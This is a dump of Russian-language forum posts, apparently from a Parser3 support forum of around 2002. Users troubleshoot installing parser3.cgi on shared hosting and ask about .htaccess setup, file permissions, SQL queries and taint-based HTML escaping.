буду пробовать -  и если не сложно можно будет кое что спросить по мылу\
Мое мыло : ddenim@ifrance.com - а то на mailbox'e наверное mailbox не проверяють."
"687","Если у тебя ссылки сделаны на JS, то поисковик их может не найти. В любом случае, можно написать в суппорт поисковика, может подскажут проблему. ;-)"
"689","А разве в документации есть что-либо про ^file:lock?\
Стат. методы там только delete, find, list, move; метод -- save."
"690","При работе с apache иногда не удается запустить парсер, если указаны эти строки:\
\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
\
если удалить, все работает.\
Так на Win2000server, на работе.\
\
Дома на Win2000pro и так работает. Вроде, с версией виндов не д.б. связано?\
"
"691","Для начала цитата:\
\
[quote]- Каа, скажи. Багира достанет во-он тот банан?\
- Нет, Маугли, не достанет.\
- А Балу достанет?\
- Нет, Маугли, не достанет.\
- А Акелла достанет?\
- Нет, Маугли, не достанет.\
- А я достану?\
- Ты, Маугли, кого угодно достанешь.[/quote]\
\
Лично меня - достал.... ох, как достал... Так, что отвязаться захотелось..\
\
--------------------------------\
\
Итак, поехали...\
\
Цитирую:\
\
[i]структура хостинга такая (tree):\
|--pulic_html (тут лежит .htaccess - содержимое его ниже и файл jandex.html - файл примера \"Урок 1\" из мануала и все его причиндалы)\
|--cgi-bin (тут parser3.cgi для Linux RH 7.2 (у меня на хостинге RH 7.0))\
|--public_ftp[/i]\
\
[url=http://www.parser.ru/forum/?id=640]Клиент путается в показаниях...[/url] Клиент утверждает, что public_html и cgi-bin лежат на одном уровне, а printenv.cgi говорит, что второе лежит в первом (см. SCRIPT_FILENAME). Ну ладно..\
\
Будем считать, что структура каталогов у пациента такая:\
\
[code]\
|\
|---\\\
|   |\
|   \\-- public_html --\\\
|                     |\
|                     \\-- cgi-bin\
|\
|---\\\
    |\
    \\-- public_ftp[/code]\
    \
(То есть мы верим показаниям printenv.cgi - он не имеет тенденции привирать)\
\
Первое, что нужно сделать, это оставить папку cgi-bin пустой. public_html мы вычищаем тоже, оставляя в ней только пустую cgi-bin. Хотя если там осталось что-то ценное, можно и оставить, ладно... Но следы прошлых сношений с парсером надо удалить подчистую!\
\
Прибрались? Следующий шаг - ставим на public_html разрешения 644, на cgi-bin - 755.\
\
Качаем файлы\
\
http://www.parser.ru/f/1/download/redhat72/parser3_1_0_0001_redhat72_cgi.tar.gz\
http://www.parser.ru/f/1/download/redhat72/parser3conf_20020424_unix.tar.gz\
http://www.parser.ru/f/1/download/redhat72/parser3sql_1_0_0001_redhat72_mysql.tar.gz\
\
Делаем на диске папку c:\\p3setup\\ и вываливаем скачанные файлы туда. Разворачиваем их с помощью WinRAR или Windows Commander [u]и валим в одну кучу[/u]. Убиваем на хрен исходные *.tar.gz В двух архивах лежат два файла с одинаковым именем parser3.conf - один придётся затереть другим - по фигу, каким.\
\
в папке c:\\p3setup должны остаться файлы:\
\
libparser3mysql.so\
parser3.cgi\
parser3.conf\
koi8-r.cfg\
windows-1251.cfg\
\
и ничего больше - все в одной куче! PAF'у, быть может, нравится, когда всё разложено по папочкам, а мы не привередливые - нам надо \"не чтобы с шашечками, а чтобы ехать\". (Nothing personal, OK?)\
\
Открываем файл parser3.conf в Блокноте и заменяем его содержимое следующим:\
\
[code]@auto[]\
$CHARSETS[\
       $.koi8-r[/home/mobilezo/public_html/cgi-bin/koi8-r.cfg]\
 $.windows-1251[/home/mobilezo/public_html/cgi-bin/windows-1251.cfg]\
]\
$SQL[\
	$.drivers[^table::set{protocol	driver	client\
mysql	/home/mobilezo/public_html/cgi-bin/libparser3mysql.so	libmysqlclient.so\
}]\
]\
\
$MIME-TYPES[^table::set{ext	mime-type\
zip	application/zip\
gif	image/gif\
jpg	image/jpeg\
html	text/html\
htm	text/html\
txt	text/plain\
mp3	audio/mpeg\
swf	application/x-shockwave-flash\
}]\
\
$LIMITS[\
	$.post_max_size(10*0x400*0x400)\
]	\
\
@unhandled_exception[exception;stack]\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
\
<title>Oh, shit!! </title>\
<body bgcolor=white>\
<font color=black>\
<pre>^untaint[html]{$exception.comment}</pre>\
^if(def $exception.source){\
<b>$exception.source</b><br>\
<pre>^untaint[html]{$exception.file^($exception.lineno^)}</pre>\
}\
^if(def $exception.type){exception.type=$exception.type}\
^if($stack){\
	<hr>\
	^stack.menu{\
		<tt>$stack.name</tt> $stack.file^($stack.lineno^)<br>\
	}\
}[/code]\
\
Сохраняем файл, закрываем. Теперь берём, и закачиваем всё содержимое папки по FTP прямо в cgi-bin в БИНАРНОМ РЕЖИМЕ. Не в ASCII или AUTO, а в BINARY. После закачки сверяем размеры parser3.cgi на сервере и на диске - должны совпасть до байта. Если не совпали - КОМУ СКАЗАЛ ЗАКАЧИВАТЬ В БИНАРНОМ РЕЖИМЕ?!\
\
Ставим файлу parser3.cgi разрешения 755. Затем выбираемся из cgi-bin в корневой каталог сервера.\
\
Теперь создадим в папке c:\\p3setup три файла - \".htaccess\", \"index.html\" и \"auto.p\"\
\
Текст файлa .htaccess:\
\
[code]SetEnv HTTP_PARSER_ROOT_CONFIG /home/mobilezo/public_html/cgi-bin/parser3.conf\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
CharsetDisable On\
DirectoryIndex index.html[/code]\
\
Текст файлa auto.p:\
\
[code]@auto[]\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
$response:content-type[\
 $.value[text/html]\
 $.charset[$response:charset]\
]\
\
# [b]Строчку ниже надо поправить в[/b] \
# [b]соответствии с твоими настройками MySQL[/b]\
$SQL.connect-string[mysql://юзер:пароль@ip_MySQL_сервера/твоя_база_данных][/code]\
\
Текст файлa index.html:\
\
[code]<h1> 2 x 2 = ^eval(2*2) </h1>[/code]\
\
Залей все три файла в корневой каталог сервера и открой в браузере http://www.твойсайт.ru/index.html Если увидишь строку '2 x 2 = 4' как тут - http://parser3.bougakov.com/index.html - с тебя пиво. Много. Пью я Berliner Kindl, Zunft K&ouml;lsch и Сибирскую Корону.."
"692","Форум не отобразил две строчки над \"$SQL.connect-string\" в конце постинга. Скорее всего, надо поправить XSL шаблон, чтобы обрабатывал [ b ] , вложенный в [ code ]\
\
До кучи:\
\
В блоке снизу, который выводит текущую ветку, нет ссылки на /forum/ , как это сделано в форуме parser2.parser.ru. Неудобно - приходится скроллить страницу наверх, чтобы кликнуть по ссылке в меню наверху.\
\
В сообщениях, которые приходят на мейл с форума вверху - верная ссылка (message.html?id=xxxx), внизу - нет (message_xxxx.html).\
\
Кстати, не худо бы написать rewrite rule, которое бы перебрасывало набравших /forum/message_xxxx.html на parser2.parser.ru/forum/message_xxxx.html - сообщения закешировались во многих поисковиках, а теперь ссылки порвались, что плохо - в том форуме было много полезного не только по парсеру, но и по перлу и apache.\
\
Кстати, обратный адрес ты установил свой из мазохизма? Нравится тонны \"Undelivered mail returned to sender\" выгребать? :-)"
"693","Этот форум может заменять \\n\\n на <p>, как старый добрый ^unescape_br[]? Неудобно читать, когда текст в кашу однородную сливается..."
"694","не ворчи, спасибо за ПОЭТИЧНЫЙ ответ - ЧЕЛОВЕЧЕСКОЕ СПАСИБО!!! Как только установлю у ся Парсер - УЙДУ - надолго уйду - буду уроки штудировать...\
А коли я кого разозлил - ПРОСТИТЕ, я не специально, просто не спится мне из-за этого, а это .....\
SORRY, PEACE"
"696","Короче, мы ставили синхронно, с помощью тёти аси :))) я на комбат, он себе. Так вот я залил в cgi-bin Парсер, позвал его, права поставил - http://p3test.nvn.ru/cgi/parser3.cgi - работает. Он то же самое сделал, но у него:\
500 + 404 (http://mobilezone.com.ua/cgi-bin/parser3.cgi)\
и в логах:\
-----\
[Mon May  6 21:48:18 2002] [error] [client xxx.xxx.xxx.xxx] File does not exist: /home/hisFolder/public_html/500.html\
[Mon May  6 21:50:47 2002] [error] [client xxx.xxx.xxx.xxx] Premature end of script headers:/home/hisFolder/public_html/cgi-bin/parser3.cgi\
-----\
все .htaccess'ы человек снёс.\
\
по идее ведь должен работать то... хоть что-то говорить... или не так?\
\
Но, таки у него RedHat 7.1, а у меня 7.0 ...\
"
"697","Вадим !\
Ты не пробовал ФАК по win2k почитать ?\
Здорово помогает ...\
\
Control panel -> Regional options -> Set default (выбираешь Greek), перезагружаешься и вперед. Никакого UTF-8 .\
\
Отсылаю тебя к http://ourworld.compuserve.com/homepages/PaulGor/full_win.htm"
"698","Означает, что скрипт Означает, что cgi не запустился. Он его залил в бинарном режиме, Некоторые фтп-клиенты заливают cgi всегда как текст..."
"702","И самое последнееЖ убери padding-bottom: 8px\"\
\
\
Ты бы видел, как эту форму перекашивает в мозилле...\
Я сейчас печатаю и не вижу - что.."
"703","http://mobilezone.com.ua/cgi-bin/parser3.cgi\
\
И вокруг наконец-то воцарилась благословенная тишина....\
\
(Once again: nothing personal, OK?)"
"704","Можно что-то сделать с пустой полосой под кнопкой \"Войти\", которая появляется при использвании IE? nj-то мне подсказывает, что если поменять \"регистрация</a></font></td></tr></table></form>\" на \"регистрация</a></font></td></form></tr></table>\", оно исчезнет... Я не знаю, почему IE считает <form> блочным элементом  и ресует сверху и снизу по пустой строке, но выглядит это паршиво..\
\
"
"706","А когда появится навигация по форуму ?\
кроме поиска и топ10 ...\
\
P.S. Ну, пожалуйста, напишите\
$response:pragma[no-cache] \
(или как там это будет для P3 :-)\
в http://www.parser.ru/forum/"
"708","И все видно как в Ослике - я фанат Мозиллы!!!"
"709","Так у него заработал - или не ?\
"
"710","терпение - минут 10"
"711","это же только cgi'шник.\
Теперь надо html файлы делать ..."
"712","empty string(1): '' read failed: No such file or directory (2), actual filename ''  type: file.missing\
\
... означает, что parser3.cgi жалуется, что ему не дали никакого файла тово... парсить... Типа \"готов к труду и обороне! Работу давайте!\" Если бы что-то было криво, он бы ещё до этого выкинул бы сообщение об ошибке - типа parser.conf найти не может, муйэскуэлевской библиотеки нет или ещё чего - список отмазок огромен :-)\
\
Parser3.cgi назначается в .htaccess обработчиком html файлов - запрос с /page.html переписывается как /cgi-bin/parser3.cgi/page.html - и клиету отдаётся \"отпарсенная\" страница. Если парсеру не передать параметр, он закономерно ругается. А если ругается, значит - живой :-)"
"714","У нас там не РедХат а Мандрейк Линукс - я выяснял. Но файлы от RedHat Linux 7.2 / ASPLinux 7.2 к нему подходят..."
"716","ты бы лучше стал фанатом FAQ'ов, README и прочих мануалов :-)"
"717","при каждой смене версии на одну десятую, мне админ кое-что отрежет ржавыми ножницами за трафик... Дождусь Release 1.0 Service Pack.. положим, 2 или 3..."
"718","> ... Я не знаю, почему IE считает <form> блочным элементом...\
<form> и есть блочный элемент ;-)\
\
http://www.w3.org/TR/html4/interact/forms.html#h-17.3\
---\
<!ELEMENT FORM - - (%block;|SCRIPT)+ -(FORM) -- interactive form -->\
---"
"719","Не буду дожидаться финала этого триллера в восемнадцати сериях, я спать пошёл... Успехов!"
"720","http://mobilezone.com.ua/4"
"721","Но всё равно некрасиво.."
"722","На какое расширение ты повесил парсер? Не на html, а на что? Что у тебя в .htaccess\
\
P.S. Ой, не высплюсь я..."
"725","SetEnv HTTP_PARSER_ROOT_CONFIG /home/mobilezo/public_html/cgi-bin/parser3.conf\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
CharsetDisable On\
DirectoryIndex index.html"
"726","Давай мне пароль - я его настрою"
"727","CharsetDisable On \
- убрать нахрен"
"728","И этим же заканчивать..."
"730","Теперь всё ОК"
"733","Мой ICQ 60590175"
"735","Я спать хочу..\
\
Строку с CharsetDisable убрал?"
"736","правда с глюками :)\
user-request(1): '/home/mobilezo/public_html/4/index.html' parser reading files of foreign group disabled [recompile parser without --disable-foreign-group-files configure option], actual filename '/home/mobilezo/public_html/4/index.html'  type: parser.runtime\
"
"737","Чтобы файлы принадлежали ему и его группе.. Сейчас группа, судя по всему, не совпадает.. Не знаю, правда, можно ли это сделать по ftp или для этого нужен ssh..."
"738","знаю ssi и iis, а вот что такое ssh?"
"739","http://www.yandex.ru/yandsearch?text=%D7%F2%EE+%F2%E0%EA%EE%E5+ssh"
"740","Это, грубо говоря - когда твои клавиатра и монитор подключаются к удалённому серверу. Ты набираешь команду, она выполняется на сервере, а копия экрана с сервера видна у тебя в окне.\
\
Свежая идея! У тебя на файлс стоят разрешения типа 644 и 755, да? Там, где 644, замени их на 664, а где 755 (т. е. у parser3.cgi) замени их на 775. Посмотри, что получается...\
\
Если не выйдет, пиши завтра PAF'у - пускай он для твоего ч[i]у[/i]дного хостинга parser3.cgi с нужным параметром скомпилирует.. Я же - не мать Тереза, моё милосердие до установки cvs-клиента и Visual Cpp не распроостряняется, тем более заполночь..."
"741","Да - ладно \
 Это шелл\
типа командная строка - которая позволяет работать с сервером.\
фтп - только добавляет и меняет файлы.\
для www сервера фтп хватает до ушей"
"742","... только до чуть пониже спины хватает ))) Что-то у меня с mysql по ftp не получалось работать :-)"
"743","Shit... "
"744","Да - про Это забыл -\
ну есть Phpmyadmin :)"
"745","Вот нашел такие неувязочки.\
Наверное все-таки я чего-то недопонял, а парсер работает как нужно. Я в него верю :)\
Поехали...\
\
[code]\
$three[^sql:table[three;select title, result from kuzvoting where no=$id]$sql:three]\
^three.menu{\
	$result[^eval($result+$three.result)]\
}\
[/code]\
\
Вот такой код должен возвращать $result с суммой всех выбранных из базы значений резулт в переменную $result, а он пихает это дело на экран и _игнорирует_ (!!!) любой код, который будет следовать за этой нехитрой комбинацией. Вообщем, получили \"стоп слово\", товарищи :)\
\
1в1 такая же проблема была и с другими примерами кода, где в например из базы $base.id значение пихалось в $id переменную. В результате, парсер выдавал значение этой $base.id и игнорил любой код, который был до и после этой заварухи. Ну ладно после - можно списать на мой уродский синтаксис, но до - почему - вот это уже похоже на глюк...\
\
Есть идеи?\
\
[i]btw: этот алгоритм прекрасно работал на P2 и использовался в голосовании[/i]"
"746","Sanja, не все так замечательно:\
Вот тебе еще цитата (за точность не ручаюсь, но подходит на все 100%):\
\
[i]\
- Ну что, сфотографировал?\
- Да...\
- Теперь, Шарик, ты за ним еще полдня бегать будешь...\
- Это почемуй-то?\
- А чтобы фотографию отдать :)\
[/i]"
"750","он недавно добавился и пока недостаточно обкатан.\
забудь пока, что я сказал.\
когда будет всё хорошо, расскажу.\
\
разбор полётов показал, что счётчик на 0 падать не будет, но может пропускать посетителей при большой нагрузке на сервер.\
для и так неточного счётчика это простительно.\
\
кто хочет хорошо считать и сейчас, без file:lock, пользуйтесь счётчикам в базе данных. в mysql не забудьте lock/unlock tables"
"751","пришли мне мылом, посмотрю?\
вообще-то и сам можешь заглянуть внутрь в эту самую 47 строку 1 колонку, что там или непосредственно перед этим местом плохого?"
"752","я не делал out параметров пока. в todo.\
в остальных смыслах хранимые ничем не выделяются.\
что конкретно не выходит?\
как конкретно пробуешь?"
"754","[i]Cкомпилированые версии могут читать и исполнять только файлы, принадлежащие группе пользователей, от которой работает парсер. Это сделано для большей безопасности.[/i]\
О какой группе пользователей речь, если я - \"адмиистратор\" своего сайта, как Парсер определяет эти самые группы пользователей, по вложенным дирректориям что ли?"
"755","cvs [checkout aborted]: couldn't write libxml_htmloutput_of_xslemptyattr_emptyquotes.patch: Unknown Error (22)\
нифига себе имечко, Mac OS 9.1 наверное так не умеет\
:)\
P.S. Эту неприятность мы переживем...\
(c) Леопольд"
"756","$result - это специальная переменная\
\
пример:\
\
@test[]\
asd\
$result[qwe]\
\
@main[]\
^test[]\
\
Выдаст нам на экран qwe, а asd пропьется.\
Т.е. если ты положишь что-либо в переменную $result - то именнно ее значение будет возвращено, а не все, что получилось...\
\
Обработка дальше продолжается... Т.е. если ты после присвоения $result что-нить еще куда-нить поприсваиваешь - все будет Ок, но возвернется только значение $result\
\
Да, вот еще что... $result можно манирулировать.\
Т.е. присвоить ей что-либо, прибавить еще что-то и т.д.\
\
Но если ты присвоишь одно, затем - второе, то первое опять пропьется...\
\
В твоем случае все произошло верно. Высчиталась сумма, положилась в резалт, резалт вывелся на экран а все дальнейшее... мир праху его... \
\
:)\
\
RTFM (я уверен, что это есть в доке, хотя я ее не читал)"
"757","есть такая процедура для Microsoft SQL Server 2000:\
[code]\
CREATE PROCEDURE sp_article (@IdArticle int) AS\
select 	IdArticle, \
	ArticleHeader, \
	Article, \
	convert(char(30), Data, 113), \
	Author, \
	a_mode, \
	convert(char(30), Data, 114), \
	last_name, \
	first_name, \
	sec_name, \
	email, \
	datepart(yy, Data), \
	datepart(mm, Data),\
	convert(char(30), update_date, 113) \
from vw_article_full \
where IdArticle=@IdArticle\
GO\
[/code]\
\
Я пытаюсь создать табличную переменную $article на основе SQL запроса который и вызывает эту процедуру:\
[code]\
^connect[$MAIN:SQL.publication]{\
	$article[\
		^table::sql{\
			sp_article @IdArticle = 415\
		}\
	]\
}\
[/code]\
Далее при обращении к любому столбцу полученной табличной переменной (например к Article - $article.Article) выдается такая ошибка:\
[code]\
column not found\
Article\
\
d:/usr/local/apache/users/p3/news/default.html(16)\
exception.type=parser.runtime \
--------------------------------------------------------------\
content d:/usr/local/apache/users/p3/auto.p(16)\
[/code]"
"758","Смотрим и видим:\
\
@services_by_sst - метод\
\
$services_by_sst - переменная\
\
То-же самое с @sub_services\
\
Ты уж определись... Имена должны различаться...\
\
Далее... Не надо connect пихать в каждый макрос - это раз.\
\
Два - пиши лучше так:\
[code]\
@sub_services[st]\
$result[^table::sql{select distinct\
                           a.sst_id, a.name\
    from\
        service_subtype a, services_order b\
    where\
         a.sst_id = b.sst_id and b.st_id = $st ORDER BY a.priority\
}]\
[/code]\
\
и зови соответственно так:\
[code]\
$sub_services_table[^sub_services[^form:st.int(0)]]\
[/code]\
\
\
Обрати внимание на конструкцию ^form:st.int(0) - т.к. ты значение формы пихаешь в запрос как число неплохо-бы принудительно преобразовать пришедшее к числу, чтобы если кто припишет в url ?st=asd ты не отвалился с ошибкой."
"759","потому, что имеет место ошибка.\
пока нельзя наследоваться от системных типов.\
спасибо за сообщение."
"760","Это верно только для Unix систем, но не для Windows, в Windows NT парсер скорее всего работает в контексте безопасности пользователя от имени которого работает Apache. В Unix скорее всего группа, от которой работает парсер определяется по владельцу каталога из которого он запускается, т.е. если юзер X владеет каталогом cgi-bin (там лежит парсер) и он входит в группу Group, то парсер может читать и исполнять только файлы, принадлежащие группе Group, т.е. юзер X должен быть владельцем всех каталогов из которых парсер читает и исполняет файлы, если это не так, то будет error. Если я не прав, - поправьте."
"761","очевидно, админ woofer'а так настроил apache&ftpd, что скрипт запускается не от той группы, от которой woofer файлик по ftp заливает и это немного странно.\
\
woofer, для начала попробуй своего админа пнуть?\
странно ведь, никто так не делает... т.е.\
а) или пусть тебя причислит к той группе, от которой работают cgi скрипты\
б) или пусть cgi скрипты на твоём сервере запускает от пользователя в той же группе, что и ты; в идеале — от твоего имени.\
\
конечно, всегда можно собрать+поставить версию без этой дополнительной предосторожности, однако, пока есть возможность, лучше этого не делать"
"763","ограничение на чтение файлов, принадлежащих чужой группе сделано только под UNIX.\
под Win32 нет [пока].\
\
в woofer — UNIX, и не запутывай беднягу ещё больше.\
видишь, человек не знает, что такое пользователи и группы."
"764","очевидно, колонка называется как-то иначе.\
для начала попробуй посмотреть ^таблица.columns[] что там.\
\
ну и до кучи: по-моему, такой синтаксис вызова хранимой — MSSQL specific, и лучше бы написать {call..} [кажется], возможно, в этом случае ODBC драйвер выдаст колонки иначе."
"765","Ща может ему установлю ..."
"767","впрочем, пока есть проблема — кого блокировать.\
[code]\
    ^file:lock[имя файла]{код}\
        файл при необходимости создаётся\
        блокируется\
        выполняется код\
        разблокируется\
[/code]\
\
так что пользоваться можно уже сейчас, блокируя не сам файл со счётчиком, а вспомогательный."
"768","Вызов хран. процедуры в MS SQL exec, но его можно опускать, однако я и так и так пробую результат один и тот же. Посмотрел ^таблица.columns[] - там ничего, в таблице нет ни одного столбца, т.е. если я правильно понял, в данном запросе таблица вообще не формируется."
"770","А отключена возможность чтония \"чужих\" файлов из-за каких соображений? Чтобы с помощью parser3.cgi на сервере ничего не наваляли?\
\
Почему нельзя было опции, с которыми компилируется (или не компилируется) parser вынести в parser3.conf? Это было бы разумное и правильное решение - не все же могут пересобрать cgi-ку, ежели приспичит..."
"772","Спасибо за совет\
научился писать на греческом в блокноте без юникода(правда только на греческом если хочешь на руском надо как я понял опять перезагружаться) только ведь Парсер непонимает греческую кодировку мне что самому надо файл перекодировки в iso-8859-7 делать. Если я выставляю в конф файле $request:charset[iso-8859-7]\
$response:charset[iso-8859-7] Парсер говорит:\
unknown charset\
iso-8859-7"
"773","Если бы не ОСТРАЯ потребность в штучке типа Парсера, то я бы ....\
PAF, админу я написал, жду ответа, большое Вам спасибо за участие, т.к. пока НЕ НАСТРОЮ - НЕ ОТСТАНУ!!! :)"
"774","Базу данных мне админ наш завел, а как завести таблицу news я не знаю, т.к. профессия моя далеко не администратор, а дизайнер.\
Поясните плиз."
"775","Ок. Это стандартный прием, я сам так делал -- блокирую некий флаговый файл, делаю нужные операции, разблокирую. Это связано с особенностями блокировки файлов под виндами -- можно заблокировать только открытый файл, соотв-но, есть момент, когда несколько процессов могут попытаться доступиться к одной и тоой же информации. \
Т.е. эта конструкция в нынешнем парсере есть и ею можно пользоваться? ОК.\
Очевидный вопрос -- а что еще есть, и есть ли документация по этому всему?"
"776","опрератором create table, типа того:\
[code]\
create table news (\
        col1 varchar(200) not null,\
        col2 char(50) not null,\
        col3 varchar(255),\
	col4 varchar(255),\
        primary key (col1)\
)\
[/code]"
"777","правильно и говорит, потому что не подключена по умолчанию такая таблица перекодировки. Вот тебе задача, - напиши такую таблицу и подкл. её."
"778","Sorry, вопрос конечно еще тот, но в доках ничего не нашел.\
\
нечто типа:\
[code]\
...\
$var1[text1]\
$var2[text2]\
$var3[$var1$var2]\
var1 = $var1<br>\
var2 = $var2<br>\
var3 = $var3<br>\
...\
[/code]\
выдает что-то подобное:\
[code]\
var1 = text1\
var2 = text2\
var3 = \
[/code]\
\
Каким образом я могу сложить две переменные так, чтобы var3=text1text2\
\
"
"779","Вот смотри: http://www.kombat.ru/help/first/\
А ты у суппорта спрашивал?"
"780","Если это не критично, делай так:\
\
...\
$var1[text1]\
$var2[text2]\
$var3[$var1 $var2]\
#То есть ставь пробел между ними...\
#А то $var1$var2 превратится в пустоту :-)\
$var1 = text1\
$var2 = text2\
$var3 = text1 text2"
"783","$fuck[yes]\
$fuck2[no]\
$fuck3{[$fuck][$fuck2]}\
\
$fuck3\
\
Прошу прощения за fuck :-))"
"784","Был мандрейк... Я ещё, помню, скривился..."
"786","out of pool memory: failed to allocate 41 bytes; already allocated on pool: 20174258 bytes in 838798 times\
\
после регистрации.\
\
что делать? кого лечить?"
"788","Я хочу чтобы теги HTML в тексте, который хранится в БД, выводились как есть, т.е. чтобы проводились замены < на &lt; > на &gt; и т.д. и при этом отрабатывались все переводы строк, т.е. то, что делал старый оператор ^unescape_br[] или как это делается в этом форуме. \
\
Я делаю такой метод:\
[code]\
@translation[buffer]\
$buffer[$buffer]\
$buffer[^buffer.match[\\n\\n][g]{<p />}]\
$buffer[^buffer.match[\\n][g]{<br />}]\
$buffer[^taint[as-is][$buffer]]\
$buffer\
[/code]\
\
Где параметром [i]buffer[/i] передаю ему текст из базы.\
\
Так вот, в таком виде все переводы делаются, но нужные для вывода на экран тегов HTML замены не производятся.\
\
Если заменить предпоследнюю строчку на:\
[code]\
$buffer[^taint[html][$buffer]]\
[/code]\
\
то замены производятся для всех тегов в тексте, вкл. те которые создают переводы строк, т.е. получается опять фигня.\
\
Помогите люди добрые, а то у меня уже пар из головы идёт."
"790","А сюда вынести слабо было ? :) Вот что там написано про переменные:\
\
Переменные \
 \
 \
\
Переменные могут хранить данные следующих типов: \
строка (string); \
число (int/double); \
истина/ложь; \
хеш (ассоциативный массив); \
класс объектов; \
объект класса (в т.ч. пользовательского); \
код; \
выражение. \
\
В зависимости от того, что будет содержать переменная, для присвоения ей значения используются различные типы скобок: \
\
$имя_переменной[строка] \
 переменной присваивается строковое значение (объект класса string) или результат работы кода \
\
 \
$имя_переменной(выражение) \
 переменной присваивается число или результат математического выражения \
\
 \
$имя_переменной{код} \
 переменной присваивается фрагмент кода, который будет обработан в дальнейшем \
\
 \
\
\
Для получения значения переменных используется обращение к имени переменной: \
\
$имя_переменной - получение значения переменной \
\
Для использования переменных не требуется их заранее объявлять. \
\
В качестве части имени может быть использовано… \
\
…значение другой переменной: \
$superman[value of superman variable] \
$part[man] \
$super$part \
Возвратит: value of superman variable \
\
$name[picture] \
${name}.gif \
Возвратит строку picture.gif, а не значение поля gif объекта picture. \
\
…результат работы кода: \
$field.[b^eval(2+3)] \
Возвратит значение поля b5 объекта field. \
\
Примечание: у классов также существуют системные поля: \
\
$self - хранит ссылку на текущий экземпляр объекта класса, в статических методах хранит то же, что и $CLASS. Может использоваться, например, для предотвращения конфликтов имен в случае, если имя параметра метода совпадает с именем статического поля класса. \
\
Пример: \
@main[]   \
$a[Статическое поле ^$a класса MAIN] \
^test[Параметр метода] \
\
@test[a]   \
^$a - $a  <br>   \
^$self.a - $self.a   \
    \
Выведет: \
$a - Параметр метода   \
$self.a - Статическое поле $a класса MAIN \
\
$CLASS - хранит ссылку на класс объекта. Это необходимо для доступа к статическим полям из динамических методов. Использование системного поля $CLASS удобно тем, что оно не зависит от имени класса, то есть не чувствительно к переименованию самого класса. Без использования $CLASS всю работу по переименованиям доступа к статическим полям класса придется выполнять вручную. \
\
Пример: \
#инициализация статического поля   \
@auto[]   \
$I_am_static[test] \
   \
@static_method[]   \
#получение значения статической переменной   \
$I_am_static   \
\
@dynamic_method[]   \
#получение значения статического поля класса   \
$CLASS.I_am_static \
\
\
... Или я тупой, или тут это нету "
"791","А ты потом замени &lt;p /&gt; на <p /> после обработки taint'ом..\
\
"
"792","[code]\
$fuck[yes]\
$fuck2[no]\
$fuck3[${fuck}${fuck2}]\
$fuck3\
[/code]\
\
выдает что надо. действительно в доке было. но очень неявно:\
\
[code]\
…значение другой переменной: \
$superman[value of superman variable] \
$part[man] \
$super$part \
Возвратит: value of superman variable \
\
$name[picture] \
${name}.gif \
Возвратит строку picture.gif, а не значение поля gif объекта picture. \
[/code]"
"793","По которому тебя форум, как зарегистрированного опознаёт.. И вспоминать Мишу тихим, незлобивым словом..."
"794","А я-то думал, совсем заглючил :)\
Спасибо"
"795","[code]\
$var1[Q]\
$var2[Q]\
$var3[${var1}${var2}!]\
<b>$var3</b>\
[/code]\
\
Из Урока 4:\
[i]Легкое недоумение может вызвать запись: \
${now.year}-${now.month}-${now.day} \
\
Фигурные скобки здесь используются для того, чтобы получить строку вида «2001-11-06» (в таком формате мы собираемся хранить дату новости в БД). Если скобки не ставить, то Parser выдаст ошибку при обработке этого кода, поскольку не сможет понять, что нужно делать. Для него «-» будет частью имени. Запомните, если вам нужно четко отделить имя переменной от следующей за ним буквы, скажем «-», как в нашем случае, нужно записать: \
\
${имя_переменной}- \
\
И в результате вы получите: \
\
значение_переменной- \
\
[b]Обязательно прочитайте страницу, посвященную правилам составления имен.[/b][/i] "
"798","http://parser.ru/docs/lang/app5.htm"
"799","а если например мне подобную конструкцию на экран вывести надо? Если заменить как ты говоришь, она не выведется и будет лишний перевод строки."
"800","$var1[string1] \
$var2[string2]\
$var3[${var1}${var2}]\
\
<p>Конкатенация var1 и var2: var3 - <b>  $var3   </b>"
"801","не правда... я с самого начала писал, что у меня РХ 7.0, я еще копировал-вставлял с сайта хостера, чтобы не ошибиться..."
"802","Дошли тут ручонки шаловливые и до сабжа. Но... не тут то было! По FTP случился у меня приход, причем на машинку некоего moko1, имеющую быть располагаться, понятное дело, в office.design.ru. Которая мой приход обломила самым нелюбезным образом и без каких-либо мотиваций. Хотя и обещаны были анонимусу с пустым паролем золотые горы исходников.\
\
Беглый обзор рекомендаций по сабжу из хелпа породил во мне устойчивую уверенность, что для произведения такого экзистенциального действия, как утягивание исходников, необходима специальная тулза со звучным именем cvs. Как гриться, without cvs you'll be hiefless.\
\
Я не знаю, может, счастливые обладатели *nix'ов имеют требуемую утилку в составе своих осей. Но что же делать несчастным приверженцам MSVC? ;o)"
"803","так удаляю, а ведь хочетсься познать все прелести бытия зарегстрированного пользователя :)"
"804","а ты удали и зарегистрируйся снова, но с другими настройками по количеству выбираемых из базы сообщений. Эта фигня ведь происходит из-за того, что ты слишком много сообщений пытаешься вывести."
"806","Знающие люди рекомендовали http://www.wincvs.org/download.html"
"810","А сделать сначала ^taint[html][$buffer], а потом поматчить переводы строк???\
[html] != [optimized-html] - он не удаляет \"лишних\" пробельных символов"
"813","делаю так:\
[code]\
@translation[buffer]\
$buffer[^taint[html][$buffer]]\
$buffer[^buffer.match[\\n\\n][g]{<p />}]\
$buffer[^buffer.match[\\n][g]{<br />}]\
$buffer[^taint[as-is][$buffer]]\
$buffer\
[/code]\
\
и нифига, результат тот же."
"814","А вот так работает:\
[code]\
$buffer[^taint[html][$buffer]]\
$buffer[^buffer.match[\\n][g]{<br />}]\
$buffer\
[/code]\
\
;-)"
"816","владелец парсера (и cgi-bin), html один (и группа одна), а парсер запускается от имени nobody и обрабатывает файлы только если их сделать собственностью nobody....    :("
"818","Слухай сюды:\
taint меняет язык того, что ты ему подсунул.\
Он _не_ заменяет < на &lt; и т.д.\
Он просто говорит - на каком этот кусок языке.\
\
При выдаче результатов пользователю этот текст в зависимости от языка, на котором он есть преобразуются. Такое преобразование происходит для каждого кусочка. \
\
Например, если мы напишем:\
[code]\
^taint[as-is][<]^taint[html][<]\
[/code]\
